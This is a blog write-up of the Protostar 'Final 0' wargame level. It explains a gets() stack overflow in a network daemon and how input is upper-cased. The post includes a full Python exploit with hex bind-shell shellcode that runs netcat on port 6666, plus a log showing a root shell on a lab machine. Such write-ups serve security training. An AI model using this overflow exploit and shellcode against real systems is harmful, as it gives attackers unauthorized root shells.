Thursday, January 10, 2013

exploit-exercises Protostar: Final 0

This is the write for Final 0 challenge of exploit-exerices' Protostar wargame. The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
        char buffer[512];
        char *q;
        int i;

        memset(buffer, 0, sizeof(buffer));
        gets(buffer);

        /* Strip off trailing new line characters */
        q = strchr(buffer, '\n');
        if(q) *q = 0;
        q = strchr(buffer, '\r');
        if(q) *q = 0;

        /* Convert to lower case */
        for(i = 0; i < strlen(buffer); i++) {
                buffer[i] = toupper(buffer[i]);
        }

        /* Duplicate the string and return it */
        return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
        int fd;
        char *username;

        /* Run the process as a daemon */
        background_process(NAME, UID, GID);

        /* Wait for socket activity and return */
        fd = serve_forever(PORT);

        /* Set the client socket to STDIN, STDOUT, and STDERR */
        set_io(fd);

        username = get_username();

        printf("No such user %s\n", username);
}
There is a stack based buffer overflow in this program caused by the gets() call in get_username() function. This time however, our input will be altered depending on its value.
Any of the first 512 characters (sizeof (buf)) that falls within the lower case alphabetic characters range in the ascii table (0x61 -> 0x7a) will be transformed into upper case (ie. OR with 0x20).
        /* Convert to lower case */
        for(i = 0; i < strlen(buffer); i++) {
                buffer[i] = toupper(buffer[i]);
        }
For the nop sled / junk filler, this shouldn't be an issue. However, for the shellcode, we have to take extra measures as parts like "/bin/sh" will become "/BIN/SH".
We have two solutions for this:
1. Shellcode not within the buf[512]. We simply fill with junk and write the
shellcode after the RET address.
2. Use a shellcode containing no characters within 0x61-0x7a range. This would be the option to choose only if the first one is not available.
Here is the python script to exploit the vulnerable program. The shellcode
binds a shell to port 6666. Starting with this shellcode we can get to one easily tailored for our target machine that uses /bin/nc instead of /usr/bin/netcat. The python script that outputs the final payload:
#!/usr/bin/env python

offset = 528 + 4
nop = "\x90"
RET = "\xd4\xfc\xff\xbf"
shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"
payload = nop * offset + RET + nop * 10 + shellcode
print payload
We pipe the output into nc, and connect to the open port.
kroosec@doj:~/protostar$ python final0.py | nc 192.168.23.5 2995 &
[1] 4791
kroosec@doj:~/protostar$ nc 192.168.23.5 6666
whoami
root

No comments:

Post a Comment